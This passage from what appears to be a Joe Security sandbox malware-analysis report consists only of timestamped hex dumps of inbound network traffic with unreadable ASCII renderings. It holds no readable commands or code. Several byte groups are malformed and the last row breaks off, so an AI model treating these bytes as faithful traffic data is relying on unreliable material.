2022-01-15 19:23:30 UTC 923 IN Data Raw: 32 d0 ed 34 b8 0b b9 4c a5 f9 8c 39 a5 3a e4 07 a4 02 da dd 9f 04 18 31 8b 33 cb 59 ff 58 0b c4 97 52 1a 2b 89 8a 10 99 14 8a 70 41 2e 0c e6 10 5b 87 97 dc f6 13 01 9e 03 b3 2e db a3 91 55 5a d6 ac 8a 25 a8 f6 b6 02 b5 4e 16 5d 78 df 16 3f 70 59 93 c2 f8 4b a8 c9 d8 51 8e 60 58 75 50 90 fa e7 ef 5e a7 76 0e 24 89 17 38 0d bc 70 d0 53 3c 9b 36 78 89 7c ab 43 b5 10 5e b8 5e 98 ff 33 f2 fa d6 d6 25 fe e3 22 62 2c 5f e5 62 c5 87 f8 62 33 7b 56 6f d9 7c 8b 6d 0e 86 3f 75 7e 6c 63 44 ce 38 c1 01 0a 19 79 b4 18 ac 4b 0a 93 f3 d1 cc ae 64 ea fa 48 ce 7d c6 5c 9c 27 01 a0 fc d0 c8 59 21 b0 bb 2c 76 6d a3 2d 43 60 af 7c b7 66 32 16 e0 58 67 53 85 d3 f5 9f 3a 43 08 50 2d 00 e1 9f a0 41 3f 19 0f bc 6e 1d ad 8c ee b3 83 41 da 8c bc e0 7d 25 20 a5 8e 8f c1 4d a3 95 1e Data Ascii: 24L9:13YXR+pA.[.UZ%N]x?pYKQ`XuP^v$8pS<6x|C^^3%"b,_bb3{Vo|m?u~lcD8yKdH}\'Y!,vm-C`|f2XgS:CP-A?nA}% M

2022-01-15 19:23:30 UTC 939 IN Data Raw: 12 f6 d9 ab 85 7b 1d dd 71 6c bc bf 7c fd 6f 73 14 d5 d8 6b 1f 10 8a 44 5f e0 05 dd 3e e6 32 26 3b b3 38 a1 f1 4c 9f eb d8 9d 91 e4 39 5a 8a b1 41 6d b6 76 b2 a6 56 1f a9 bf bc da 0c da 0c a2 12 90 b3 3b 9e df 38 6f cb 27 02 b8 c4 ee d2 7f 89 ad 9f 44 ed 68 94 d9 bd f6 bb e5 64 4d 62 5a 1c ad 8e 0c 3b 2c 8c 94 96 74 82 86 8f fc ac fd 54 4e a5 35 00 b3 8e 9c e4 77 e7 a7 1c e8 04 da ed a3 d2 6b 2d 4f cb 19 83 aa 33 a6 16 5a c2 86 cb b5 cd b2 b6 47 43 24 01 c1 cb 95 09 c9 49 b9 7b b0 cc 19 2e 2d 09 93 12 a5 41 cd b2 b3 91 b3 ce cb 70 74 b5 db 3f e8 bf e3 48 a7 0d 0e b9 1e f1 f6 38 56 8a 34 67 eb 12 85 9f af 81 0f ea de a0 2e b6 6c 5b 95 d2 08 72 7b e5 11 b2 56 53 86 47 e4 06 aa b9 ce 70 d2 75 d3 bb e1 a6 7f b5 a8 d8 a2 40 57 02 42 34 c2 d4 f7 84 b2 f7 33 2d Data Ascii: {ql|oskD_>2&;8L9ZAmvV;8o'DhdMbZ;,tTN5wk-O3ZGC$I{.-Apt?H8V4g.l[r{VSGpu@WB43-

2022-01-15 19:23:30 UTC 955 IN Data Raw: 2a 29 a7 4d 9b 7e ce 4b 97 93 7b 2a ff e4 04 e8 36 ab 50 7b 85 c7 87 54 38 2e cd f2 f9 2c 62 f6 db c7 6d 5e 98 dc d8 9b 59 cc 43 2a 0a 20 97 09 26 c3 16 57 55 ad 0a 49 96 00 2a fd 14 ae 22 40 eb 6b a9 5d a3 7c c8 3d fe 3f 9a bb ca 43 35 7d 3e ea eb be 19 bf 87 da 00 32 cd 7b 8f 1c 52 b5 b7 ce ec 21 d5 35 d6 80 2a 30 90 c5 8d 7b 25 a5 d8 bc 82 eb 11 fc c3 0b 96 cd 05 23 c5 46 df 64 4d bc d3 c1 a2 35 e0 e4 43 fc f3 7d 37 67 d7 60 79 c4 19 e1 2d e1 6f 83 3b 18 a1 5f be f6 04 23 ba a1 37 22 3e 79 86 fd a6 a7 3a 5e ba 7c ed f8 93 f2 1d 5c cb 2f 68 ee 4a 8d c6 f2 f8 c8 05 4c f0 d5 9e 96 67 d8 ec 6e fe 13 01 65 6b db cf c7 37 dc 71 e4 e7 dc 28 60 93 ee 0e d6 69 20 94 24 4f 14 92 d9 2a 64 8a 39 f0 d0 82 0b 6c bb 97 16 3c 07 0f 50 70 cb 17 2a 50 14 c2 f0 61 37 7f Data Ascii: *)M~K{*6P{T8.,bm^YC* &WUI*"@k]|=?C5}>2{R!5*0{%#FdM5C}7g`y-o;_#7">y:^|\/hJLgnek7q(`i $O*d9l<Pp*Pa7

2022-01-15 19:23:30 UTC 971 IN Data Raw: 26 9f 45 b0 d7 6f cc 4c 05 2e e1 7d 91 d6 9a 4f 80 09 ee 65 66 0e af 9d c8 27 8f 78 3b 1b dc 60 d0 03 a1 2d 21 e9 52 59 29 99 4e 5e 11 9e 5c 4f 39 a6 3c 58 43 4a d2 4d f6 11 52 bb d0 78 63 d2 97 fe 16 eb 41 6b a5 b3 ba 31 7f 7c eb 43 d2 82 2c 5a ff cc 6e fa c6 91 49 b5 60 07 cf 37 04 72 a6 f7 c3 5e 1b 72 41 22 6d c2 1d d7 c1 b4 fa 82 82 d4 f4 ca 5f ed 0e 5f cb 21 77 8e d2 90 db b2 5c fa e7 1e 92 66 b7 d6 d5 f1 b1 de 6d 9e fe fd 1d cd 04 90 ba a7 ba c5 54 dc 22 4a d0 02 c8 98 33 1b 01 55 26 f6 46 28 09 d1 e6 ad 05 5f 96 77 48 d3 08 b4 00 31 c1 02 58 2f df cf 2d 08 6b 13 70 dc 72 f3 3c 2c 09 e8 59 20 0b 87 ed e9 72 90 1b b8 d1 9c d2 d8 09 44 29 ef 75 8d 42 fe 42 39 fc 85 98 e1 55 a7 36 c9 89 91 70 b2 5f b7 79 06 9b 81 f0 78 52 9e 29 1f b9 17 4f b8 9e d9 12 Data Ascii: &EoL.}Oef'x;`-!RY)N^\O9<XCJMRxcAk1|C,ZnI`7r^rA"m__!w\fmT"J3U&F(_wH1X/-kpr<,Y rD)uBB9U6p_yxR)O

2022-01-15 19:23:30 UTC 987 IN Data Raw: 8f cd 28 08 69 a5 b0 ce 8f 7e 02 50 63 03 ea be e3 40 55 77 d2 9f 64 bb 4b 1d c3 5f a8 2c 7a 00 a5 8a ea c9 4b 6e 28 97 8a 82 78 cc 4b 86 dc 7c 69 45 33 91 b5 e2 8e 27 ac e8 1c 0a e0 dc d3 78 c7 ca 57 97 29 69 63 61 06 dd 37 cf 4c 64 ac 74 cc ae 12 11 c1 30 af a5 ee fe 42 68 fd 90 48 df 39 6b 6d a5 f9 b0 b3 00 02 5b fa d2 48 1e 40 35 7c 6f bc 65 38 19 70 e8 3a 94 51 2f 87 03 b2 97 01 be 07 00 0c 38 db 66 05 4f 39 47 eb c3 b3 39 b5 6a 08 0a 46 cd 6b 65 07 1e c2 40 37 ba 38 04 02 78 b8 b0 62 2e b9 99 59 34 e4 d6 cb 24 cc c2 14 53 f8 0f 59 dd 5d 0c 98 b6 6b 6e 5f 28 59 b8 27 fe 4e e0 ed 07 c9 42 93 3e f1 c5 5c 4d c4 ca 2e 74 00 4e 80 d3 65 84 8a f1 6f 6a ad 66 a5 d9 4e 15 48 03 fa 01 13 97 7b c2 fd 2d 04 12 6d 1d 89 e0 b8 4e 31 98 6b b9 7c b7 19 86 f2 d3 3f Data Ascii: (i~Pc@UwdK_,zKn(xK|iE3'xW)ica7Ldt0BhH9km[H@5|oe8p:Q/[email protected]$SY]kn_(Y'NB>\M.tNeojfNH{-mN1k|?

2022-01-15 19:23:30 UTC 1003 IN Data Raw: 46 01 16 2b e2 85 11 ae 5b 78 96 1b 25 3a 57 4f fe b2 44 a0 2e 3b c5 f5 a5 21 39 d5 b0 81 eb 3d cc 44 0f 53 9e cd a4 9f 76 0b 00 45 38 b8 de 43 a9 39 26 75 ac 3a 24 0a 98 65 01 d0 b4 ad c3 4c cb 91 62 97 c3 99 55 ff b0 36 af 57 66 b5 d0 66 fe ed fa ad b4 6b 14 b6 8f f0 1f 3e 09 5f 46 b4 5e c3 fa 0e d1 dc d9 3e a9 ef 45 94 7d e2 61 3c 17 91 aa 3d 1a 21 19 63 be fa 31 be d3 09 82 73 76 65 cc f2 13 c6 e3 61 8d aa 60 57 db 94 b1 48 5a 75 60 14 7a 1d 12 f9 65 8e 15 23 da 41 82 fd 95 57 72 d6 37 ac fc 73 50 24 c7 97 5e 0c d6 8d c3 bf 27 83 a8 b4 3b 70 b2 39 0c ae 99 ce ca 95 73 fc c6 bd 7e 80 17 76 34 37 fa f3 ba 1b 66 28 15 19 34 1e 94 58 f9 46 6b 30 8d 72 ab 37 e4 2f 2b df c5 65 ff 61 5c 2c b1 a0 b0 91 9d 16 88 f8 21 4d 6e 6a e6 17 eb 30 7d 03 f0 37 78 5f dd Data Ascii: F+[x%:WOD.;!9=DSvE8C9&u:$eLbU6Wffk>_F^>E}a<=!c1svea`WHZu`ze#AWr7sP$^';p9s~v47f(4XFk0r7/+ea\,!Mnj0}7x_

2022-01-15 19:23:30 UTC 1019 IN Data Raw: 74 e2 ec 7d 49 b0 fb 1c 79 86 ac cb d5 d3 4d b4 fb 1e be d3 f1 96 ba 55 4f 91 84 2a 4d e2 48 e6 93 21 47 20 1e 08 19 56 cc 78 f5 26 bf ab 64 af 3f 44 d3 c9 c2 d2 27 c6 c7 9d a0 5b 23 b9 8d 82 06 2e 6f 68 f3 6f c4 25 b1 ff 19 6c a9 dfa6 e1 77 93 1a 95 0c 05 4a 7a 46 5e ec 98 fa f8 66 96 e2 ca 44 aa bd f2 59 d6 da 48 17 cc fd 2d d0 21 db 8b a7 5d 7b fb 29 8b 72 7d 05 18 d1 a6 48 7e b4 d6 51 2c fc e2 23 f6 05 df b5 e3 fc 7c f7 86 d3 d4 07 f0 9f 77 58 02 70 d2 45 0d 2c 80 16 46 b5 9d ef 06 4d cc 32 d6 b5 9f e6 1f 0d b5 f6 2b 33 96 2d ab cb bd 99 3d 51 71 07 2c 96 51 eb 8d cd 02 57 f1 03 0f d7 6792 13 a3 4e a2 e4 23 ff 41 19 84 35 a5 1a 67 51 cd aa 39 13 cd be cc c4 05 c9 5f 7a cf 24 20 13 5d 81 2b b5 74 1e b0 68 f0 a6 e0 ba a9 4b 83 73 d6 2b 88 26 01 b0 58 Data Ascii: t}IyMUO*MH!G Vx&d?D'[#.oho%lwJzF^fDYH-!]{)r}H~Q,#|wXpE,FM2+3-=Qq,QWgN#A5gQ9_z$ ]+thKs+&X

2022-01-15 19:23:30 UTC 1035 IN Data Raw: 5c 81 9f fd 34 55 83 8d f7 db 94 3b 30 a8 1e 89 b9 4c a3 79 f2 13 e9 83 a5 ad 10 6c e0 89 70 ca 48 46 17 1e 35 ad 3d cd 37 6e 22 43 a9 01 50 b6 5b 6b e0 78 12 2b 55 9a f7 72 f7 c6 13 cc 09 00 1b ad ed ac 8d 3c a7 cd 9a 99 86 7b 23 34 b2 4e 1f fa e2 5b d1 1c 3e 94 9d 68 5a ff d9 bb 10 c6 b6 62 56 ab f5 c1 47 1b 76 5e 11 f0 3a a7 3b a0 de e7 b7 64 be 09 a0 d3 0e 2f ec 60 31 c2 08 5c c4 c9 44 97 a0 55 78 a2 5b cd 72 9b e1 91 5b 6c 6c 3d 31 3a 13 ec 01 b5 96 6a 45 cb 03 d0 ca 0f 69 0e f4 b6 36 06 99 f8 05 14 68 9b 88 ba bd d8 64 f0 70 89 74 e3 9c ec ef de 57 48 5a c2 31 dd ac 47 15 81 40 02 cd 6b 6b 21 38 6e fe eb a0 21 cc 86 e9 ea 5c 94 51 f8 a1 6e 4e 1e 30 c0 bb 66 cf ce 61 67 51 0c 28 fa 25 ac e8 96 95 0e 03 83 80 83 97 02 27 0e 34 77 61 14 6a 70 04 d4 6c Data Ascii: \4U;0LylpHF5=7n"CP[kx+Ur<{#4N[>hZbVGv^:;d/`1\DUx[r[ll=1:jEi6hdptWHZ1G@kk!8n!\QnN0fagQ(%'4wajpl

2022-01-15 19:23:30 UTC 1051 IN Data Raw: 34 76 30 1e 14 68 46 33 b0 e4 7f 0d 9e 7b 68 a4 47 8b a6 5c e7 f2 2b 5f c3 c7 87 3e 16 08 54 f3 9b c4 6f b0 06 33 16 00 4f d8 f1 aa a4 df 87 ad 86 1d ee 28 e3 9a 98 f6 f1 00 17 4b ea 91 bf f0 48 bf 35 9b 46 2a e5 e7 ff d7 0e 4a 34 48 56 73 e9 d8 f3 ee fc 58 a2 1f bf 01 0e 05 90 cd 93 be a7 92 f0 a9 6d 3a 44 5d de 55 7a c3 2f d6 eb 21 bd b6 01 64 99 68 89 46 67 11 b3 3e 92 55 33 5f ad 8a ea cc 19 c7 40 e7 3e 89 87 3a be fe 2d c7 19 e0 a8 a7 7a 72 8e e7 ad 93 24 63 05 99 f4 aa 63 11 68 aa 02 63 24 8d f3 9e a4 a6 3d ed d6 72 b5 e7 2b c1 4f ac 59 6b 79 24 57 b1 2d 03 a4 95 c9 72 a8 07 12 8a a6 b5 bc 8b 10 03 59 de a8 8a 86 21 59 7b 8e d3 ff ea 90 e6 aa c2 96 4a 52 4e 2b 83 cc f1 c7 6f af 4c e6 f6 68 34 36 a8 5c b8 bc 20 76 52 ef cb bc 81 d9 c0 5c 1f d3 88 b3 Data Ascii: 4v0hF3{hG\+_>To3O(KH5F*J4HVsXm:D]Uz/!dhFg>U3_@>:-zr$cchc$=r+OYky$W-rY!Y{JRN+oLh46\ vR\

2022-01-15 19:23:30 UTC 1067 IN Data Raw: 85 2b 12 e1 1b 9d 3c 00 70 2d 97 e9 0e e3 5f d1 23 54 75 71 83 30 1c 60 1c bf 72 be c2 32 ab 8a 7a 67 ee b3 7b 43 a5 99 68 44 80 93 5b 7c 77 43 d5 f0 bc 4c e4 65 45 fc 36 ee e6 68 72 f6 65 07 b6 a1 10 cc e1 ea 35 11 19 e3 4d 25 7f 0e 15 95 80 eb 53 99 5d c8 fb ff 96 35 34 69 65 76 e9 db b5 88 fd 2b 46 4c 11 f9 24 3b 0b 95 f9 5e 22 bb 9a 2f 3b f3 2f 2d 3d fc b7 86 61 06 76 98 1a 02 08 c4 52 7b 15 e4 b0 4b 0a c5 ac a5 76 a2 9f 76 0e 90 79 b4 44 b6 ba 05 cb e2 dc b5 c5 53 84 61 12 0a 2b 8f 52 89 2a 79 20 50 cb e2 19 1b 6e 44 ca 48 ec 9e 5f 5a cc a7 5b 0c 50 e7 a4 34 1a 07 6c ab a7 b4 7b 5b 0b 93 66 03 e3 7f 2a 0c 41 b3 1a 7c fa d3 53 1d 1f 98 e9 b3 f4 06 75 8e 46 f8 66 9d 12 a4 e4 32 81 81 29 37 b5 bd 08 17 de 39 1d 31 cc d4 de 7a 6c 5f 0e 1c 9a 0e 2a 8a c4 Data Ascii: +<p-_#Tuq0`r2zg{ChD[|wCLeE6hre5M%S]54iev+FL$;^"/;/-=avR{KvvyDSa+R*y PnDH_Z[P4l{[f*A|SuFf2)791zl_*

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 36 of 103

2022-01-15 19:23:30 UTC 1083 IN Data Raw: 89 41 da 90 c6 67 cd 63 c0 53 92 ae 35 f0 5d 29 9f a2 0d 0e 9d 88 65 3c 2a 51 a3 3d 26 8e d0 32 96 33 c1 1d ab 12 bc 59 dc fd 02 92 57 34 e5 8a e2 b5 cd 2c eb da 1d 9b 5e 44 6a 34 df d3 bf 02 a3 7d ab ec e7 f8 59 43 c0 48 9c 57 78 84 23 ac cc 50 c6 6e ba 9a 8a 38 47 4c e9 b9 12 e8 c5 a9 d6 ca 33 59 2f 36 b2 5d d8 61 ad 5b 8e 8b 11 fc 23 1d f8 1b 04 14 b9 66 a9 41 7d cc 7d c0 fa 82 72 e4 1c ed f3 af ca 56 73 cf 45 72 b2 ee e3 50 d2 8c 61 c0 7f 27 e5 33 0d f7 70 f6 cb 18 28 93 12 d5 1d 82 12 aa 43 83 fb b7 e9 e1 f4 3f aa 58 dd e6 dd e9 10 26 42 c9 82 93 67 25 0d 08 56 f7 b7 ce df 5a 1e 34 99 cd 70 7e 9a de 31 00 19 6c 51 4a 0b fb dc 24 31 21 e2 3a 07 b4 e7 ae 0d 12 30 f3 ac 90 73 58 41 7d 4f 8c b4 4c 6c 3a 01 e1 43 1d f0 02 2d 14 b7 85 6c 7b 78 f1 f8 43 1d Data Ascii: AgcS5])e<*Q=&23YW4,^Dj4}YCHWx#Pn8GL3Y/6]a[#fA}}rVsErPa'3p(C?X&Bg%VZ4p~1lQJ$1!:0sXA}OLl:C-l{xC

2022-01-15 19:23:30 UTC 1099 IN Data Raw: 97 fe e0 b2 8d f2 bb c2 f0 f9 5d 22 dc 9e d9 4a 3c 4e 68 0b 2d 90 b1 f7 9f c7 2f ea 38 3c 4f ad b6 61 58 6a 09 b1 be db 97 6b c6 bd f2 95 d6 8b 33 54 84 6c d7 f6 90 da d7 81 c4 e5 af 7f 37 49 8b 8e 10 1c 94 ce ab 97 06 53 ed 08 7e 11 13 1b ab 4c 1c 24 c1 1b eb eb 1f 84 54 b2 8d c8 36 6a 28 33 6c 31 5b e2 d2 28 b8 e4 8f 58 7d bd 4e 78 64 b3 e9 b9 2c 95 a2 da a6 70 c2 7a eb c9 06 10 19 47 1f 0d 14 f6 a8 67 1e 25 02 9f 95 be 24 a2 dd 59 88 ca ee 81 26 61 7d 96 b6 7e 14 16 28 6e e8 04 de a9 6c 07 94 6b 62 cb 9c 8b 1a e0 f9 a2 46 b4 f7 a2 c1 34 96 d7 99 81 f2 56 6d 76 8b 6e bc 51 c2 39 19 ac 78 ab c3 cc b6 e7 ff 6c 23 60 88 b7 3c 1e 38 34 10 91 eb 16 ef 26 37 b0 30 0e 11 39 46 b9 b5 46 a3 03 30 ff 1e 71 da 3c 2d dd 7a d6 bf 4e d5 b8 3d 42 ab d6 2a 04 b7 e4 a2 Data Ascii: ]"J<Nh-/8<OaXjk3Tl7IS~L$T6j(3l1[(X}Nxd,pzGg%$Y&a}~(nlkbF4VmvnQ9xl#`<84&709FF0q<-zN=B*

2022-01-15 19:23:30 UTC 1115 IN Data Raw: 01 e1 33 d3 f1 8f 68 79 a0 05 a0 f6 3f ec 08 98 1c d6 48 50 80 b1 5c 6a 3a d0 2c 74 ec e0 71 c8 f0 f6 b6 8c 4a ac ce eb e7 bf 40 e3 97 ea da a5 00 e4 c5 e9 4d 64 2c 91 d3 61 41 5e c5 e7 f0 f8 55 7f 4a b8 95 0c f2 86 43 30 44 ef d8 62 3b 9b 2f cc 73 ea 83 00 4f 0d 8d 1f e8 76 7a 1c 39 aa ff 21 c2 a7 4c 5c ae 1b ad cf 0a de c5 b9 b2 af 21 aa ad 70 bd b0 35 06 be c0 80 e7 bb d4 c7 b6 55 ec ac a2 7b 61 56 ac e9 4b 29 cb 2f da a1 88 05 65 20 6c 7a 2a 2b a1 8c 70 c0 9f 6a 61 d9 a0 40 60 b7 e7 17 07 6f a2 e4 c1 a2 e0 0f 70 35 25 e4 f4 46 29 7c 0a 17 ab 98 28 a9 08 68 f9 7e 89 0e ba a1 1c 49 09 e0 0b b4 f5 b1 aa b7 29 20 5e 92 d3 1e ac 0a f9 ff 10 44 7c a8 35 75 98 80 15 8d bb d7 5f 5d 7a 9a 3b c8 26 44 9a 41 4e 8e 79 69 73 51 37 ad 35 a4 a8 59 bf 5c df 0e 65 68 Data Ascii: 3hy?HP\j:,tqJ@Md,aA^UJC0Db;/sOvz9!L\!p5U{aVK)/e lz*+pja@`op5%F)|(h~I) ^D|5u_]z;&DANyisQ75Y\eh

2022-01-15 19:23:30 UTC 1131 IN Data Raw: a4 d5 19 8a 4c 87 a4 a1 ab 98 80 db a6 f5 61 d1 68 aa 81 15 37 30 96 ee 8a bc 52 dd 8a fc ae 47 a3 dc 6f a5 ef 8f 7a c9 84 9c fa b9 e0 4a 40 4b 2b e9 76 3e 49 2f 0f 3d d8 ba 97 4c 7c 92 49 39 04 34 87 67 ab d1 52 3c 10 f4 64 cd a8 0b ec 71 d2 83 57 8d 7e 26 a8 57 45 37 c7 a7 03 82 4f 2b 0a b5 8c e8 d6 4e b6 50 db a5 c3 84 96 c4 f2 92 4a 81 a2 58 57 a5 b7 50 42 33 b5 bf 00 28 ec 12 b5 19 9a cd 77 37 59 8f 72 50 b7 37 2f 15 8a 57 70 3c ef e9 dc 7a 90 a2 c4 23 42 aa 3d b8 f8 87 48 5a 06 39 d4 87 ff e8 21 46 ea b4 d5 a8 1f 0a 67 92 3f d2 1e 4b 81 0b 3a f7 4a bf 55 a5 aa 55 2a 56 25 48 3b a6 7e cf 20 db 6a a4 90 c4 45 dd 36 0b 45 4f d7 d6 9e d6 52 ca af 28 d5 27 e3 e7 b2 5a 9c d9 fc f9 35 1d dc 50 59 39 d3 cf 8f ae 51 40 87 d9 10 09 49 a7 b6 08 8e db bd f1 52 Data Ascii: Lah70RGozJ@K+v>I/=L|I94gR<dqW~&WE7O+NPJXWPB3(w7YrP7/Wp<z#B=HZ9!Fg?K:JUU*V%H;~ jE6EOR('Z5PY9Q@IR

2022-01-15 19:23:30 UTC 1147 IN Data Raw: 40 02 f3 88 3d 95 d1 0e d0 90 4c 6e 48 0d e5 5e 57 98 99 a1 8a e4 c2 e8 0e ce 35 ec 56 54 f5 14 c5 9e e5 eb cc fd fb 23 a7 d2 59 91 ff 04 60 20 a3 81 09 54 d3 e5 d3 a6 07 db f5 95 d3 17 91 72 d2 43 63 de 19 30 c6 31 5a 04 62 34 e5 27 32 54 73 ef f4 20 98 66 ef b2 bd dc 03 c7 93 ad ae db b7 ee a6 28 51 db 16 72 5b ef cf c3 7a 31 88 75 f9 ae 6c a0 2509 91 c3 3e ce ad 8f 65 55 1a b7 41 3d 1c 3f 42 24 7f 8a 04 7a 37 c4 e5 b8 17 4e 9e 90 c4 10 21 8a ab 3d b6 41 ae 8b 74 09 f6 88 0d 94 c4 c3 be 9e f2 6a b1 0c 95 99 d5 ef 6b 01 c1 dd da e9 4f d4 ac c0 23 a8 1e ee 41 5a ab 77 09 08 b2 d5 c6 1f d0 5e ae 60 a5 65 3c 76 d8 52 f6 de e1 97 f3 45 30 0d b7 d3 47 f8 85 66 e4 8e c2 98 bf 59 54 e5 e0 7c 15 61 ea 83 c9 a8 69 b7 a0 1c 0b c2 27 76 02 0e 5c dd 96 20 e3 7f 21 Data Ascii: @=LnH^W5VT#Y` TrCc01Zb4'2Ts f(Qr[z1ul%>eUA=?B$z7N!=AtjkO#AZw^`e<vRE0GfYT|ai'v\ !

2022-01-15 19:23:30 UTC 1163 IN Data Raw: 76 4d 75 5f 9e 4f 15 10 d6 16 3f 00 f2 11 df 0a 02 05 1c 64 2b e3 34 58 e0 72 d0 55 9e 26 55 b5 14 8d c0 48 8e ef ea fe ec 4e 2f 47 92 c1 71 42 7e c6 c2 b1 74 40 2d 86 91 cc 4e ea e4 93 18 ef 60 82 e6 51 df 0f d7 a9 c3 b9 19 5f 05 41 cd 21 57 99 a7 c6 b4 e6 1b 9b 31 fb 77 c6 6f 95 51 01 aa 16 71 31 d5 25 ab 73 95 ce 1b ae f1 a4 62 fb 03 b6 66 47 72 a8 28 d0 fc 0a b3 03 e4 3e 73 52 c2 d0 39 d0 b7 d4 64 19 24 67 db ec 73 76 21 fb cc 76 14 31 54 f3 8b 0a d8 e7 e7 46 ce a6 f5 f9 b8 d7 40 0a 9e 29 b8 b3 30 9f 0d 9c 1f 9a 76 dc 0b db b8 42 1c 65 6d 0a 3d 28 4c 9c 7b af 5b 0c 06 62 ca d3 07 98 0d b7 9e 88 cb ee 6d b0 db 36 11 29 d7 85 db 8c 08 77 b1 10 15 64 d1 ee f9 54 f9 65 52 91 6f 4c 7d 6d 58 0b ed 98 ac 17 ac 6b 88 5b de 62 5f 8a 0b 5e 86 9b 9c a0 96 6a 35 Data Ascii: vMu_O?d+4XrU&UHN/GqB~t@-N`Q_A!W1woQq1%sbfGr(>sR9d$gsv!v1TF@)0vBem=(L{[bm6)wdTeRoL}mXk[b_^j5

2022-01-15 19:23:30 UTC 1179 IN Data Raw: cf 01 18 06 76 d7 19 97 80 ef f8 c4 42 9d cc b4 ee 53 41 f2 c2 4f f8 2d 22 ed f4 44 cb a5 5f 82 94 35 ed d3 97 f4 db 55 ac 86 be 2c 55 bc 2f 86 34 15 bd b1 d7 86 8d cf 03 68 56 16 bc 3e 8d dd 2e 57 9a 93 2a 83 06 82 9a 1e d3 5a ab 6b 0c 85 de ba 1b ac 5e aa 65 14 18 12 14 f7 d8 22 4b f2 15 3c 42 de 7c 99 69 32 24 b8 9d 32 37 15 89 27 5e 82 91 1f 41 94 d8 63 73 62 38 a6 37 2c 9e a7 58 ae 87 6d b2 43 a9 a3 3f 4c 8a b6 ff 94 87 74 eb 03 c4 a4 36 61 5d fa 65 35 44 8c dc 88 3b 18 2f 34 d0 ff 50 86 79 dd 8c ff 09 5e 81 b5 30 1f 25 8f 00 c9 f6 41 5a b8 d9 1b 3a f1 44 ea 7a 67 e1 f9 59 7e f1 71 b3 31 d2 45 3d 77 0f 69 fa 55 7d 6b 0f 39 32 32 fe 09 f7 72 45 32 8d 7c 60 11 d2 01 ee 1a e6 ff e2 d6 c5 22 46 73 30 7d 7c f8 a1 7f 04 10 f2 37 03 29 0b ed 49 84 bf 6c f5 Data Ascii: vBSAO-"D_5U,U/4hV>.W*Zk^e"K<B|i2$27'^Acsb87,XmC?Lt6a]e5D;/4Py^0%AZ:DzgY~q1E=wiU}k922rE2|`"Fs0}|7)Il

2022-01-15 19:23:31 UTC 1195 IN Data Raw: 39 24 8b 23 c9 e3 db 53 f5 6f a2 04 44 db bd 37 b6 a1 2f 95 20 b4 42 22 1b 44 8e a0 f7 f6 86 59 69 29 c4 85 84 c0 04 20 25 db 7f 47 f6 1c 85 8e 8d 9b 0f a8 0e 7c 19 f0 2b 1a da e9 da 63 75 52 c6 b7 a2 5b cf 34 71 62 b9 78 c5 f5 57 54 08 b9 b7 79 55 43 f7 ae 77 76 fd fe 9f e8 83 66 f9 00 34 bd a8 47 a6 d3 32 52 c0 c1 64 72 da 64 56 da ce 98 4e fc 46 1b 7a 9c 75 10 ff aa df 4f 38 08 e6 f4 a1 29 45 52 81 bd 72 2b a0 65 bd 74 2e 36 78 27 bf ff 2b fe 97 86 ad 8b 7c 6e fd d3 83 c0 35 96 9c ee 15 07 d9 c6 68 51 33 f9 6b 9c 92 fc c9 14 c2 35 1c 86 12 32 2f 03 e4 23 94 fe 49 12 21 24 2c a8 99 0c 09 5d 34 85 86 d6 51 f6 ac e0 d1 c8 33 42 3a bd 80 ee 70 fa 88 fe 30 a3 01 b2 a7 74 3d 19 b3 db 4d 51 68 f1 2a a0 d2 e4 91 3b e1 30 a0 bc e0 8b bb 34 8a 37 cb 64 44 62 48 Data Ascii: 9$#SoD7/ B"DYi) %G|+cuR[4qbxWTyUCwvf4G2RdrdVNFzuO8)ERr+et.6x'+|n5hQ3k52/#I!$,]4Q3B:p0t=MQh*;047dDbH

2022-01-15 19:23:31 UTC 1211 IN Data Raw: b2 1a cc ff 4f da b6 f9 be 61 cd b4 41 b4 e0 d6 18 c0 d4 74 9e b1 32 b2 73 26 2e 5f d4 8f 4a c9 de 9d 4b 84 3f 7e ac be b1 b4 45 cf 27 64 7d 2d 39 8f a0 5d 47 fe be 2d 57 94 40 a5 44 4d dd c4 ff 31 2c c5 2f d8 5b 82 eb 35 f1 f9 44 74 3a 7e a3 09 4d 71 d6 57 2d 49 0d cf 0f 17 9a f8 f3 fc 54 a0 f5 24 ac f9 f1 13 9a 3b bd f8 c8 1b d6 6c fe 5f ac 08 97 d7 22 a1 a2 79 d1 ad 74 20 98 4a 2b 04 d6 9d bd 1d 55 22 cd 2b f9 d7 4a 89 4f ef 68 72 07 b4 32 64 4f 8c f0 53 8b 24 29 70 84 a0 13 be 86 6d da fc 09 8c 08 7c 7e 71 a5 a4 66 54 a0 bb a3 01 81 42 ee 8d e9 c2 0a c3 38 0d 04 df d8 bf c4 c2 eb 22 17 b9 46 34 95 47 8f 46 f9 24 25 c8 29 e5 73 11 37 84 42 3e ed 46 32 a1 b1 fe f8 8c 3e 65 34 29 87 51 1f 13 8e 2b 51 0a 8a aa f8 8e a5 68 d8 af 15 2e 5a c8 32 3a f9 4b f9 Data Ascii: OaAt2s&._JK?~E'd}-9]G-W@DM1,/[5Dt:~MqW-IT$;l_"yt J+U"+JOhr2dOS$)pm|~qfTB8"F4GF$%)s7B>F2>e4)Q+Qh.Z2:K

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 37 of 103

2022-01-15 19:23:31 UTC 1227 IN Data Raw: dd 0b 92 6f 4b bc fd bf 9b 4f 29 49 6e 15 1c 65 cc f2 bf 47 9b f6 00 f5 21 81 31 e2 74 35 5c 0b 4c c0 09 e8 a4 a4 ad 2c ee 4b e3 a6 e8 ee f0 5f 2c 5c 52 3d 8b c5 54 64 34 1a 07 fb e9 42 2e 50 56 31 be 6b c3 0a 6f 45 af 39 40 dd 50 f0 b5 94 02 4d 33 96 c3 f9 7f 27 58 97 5e 16 72 97 5f d1 d5 a0 8c 97 1a d1 c0 a8 be 76 1e fe 87 0a 6c f4 c4 1e 10 21 18 2a 61 bf 16 7a 16 a9 1e 53 b7 c4 8d 09 3a 9d e6 5a 51 49 a1 54 b9 83 e5 af 47 8c 87 bc 47 0e ec 86 a0 f5 22 a3 d9 82 aa b7 3e 11 44 2b c1 b4 ea b6 f1 42 41 73 a0 d2 c7 2e 46 99 36 b3 23 96 69 7d 36 cf 59 73 ed 60 3c 9d 78 3e f0 fc 13 ea ac 6d 3f 49 f6 30 1e f7 fb 45 7f d4 6d d0 87 39 b5 c4 a8 64 1b cb ff 5a 8c 13 fa 4c 82 9f 70 aa 69 5b 5b 8e f8 43 63 df 2f 98 86 bb 18 c3 37 03 12 62 65 3d b6 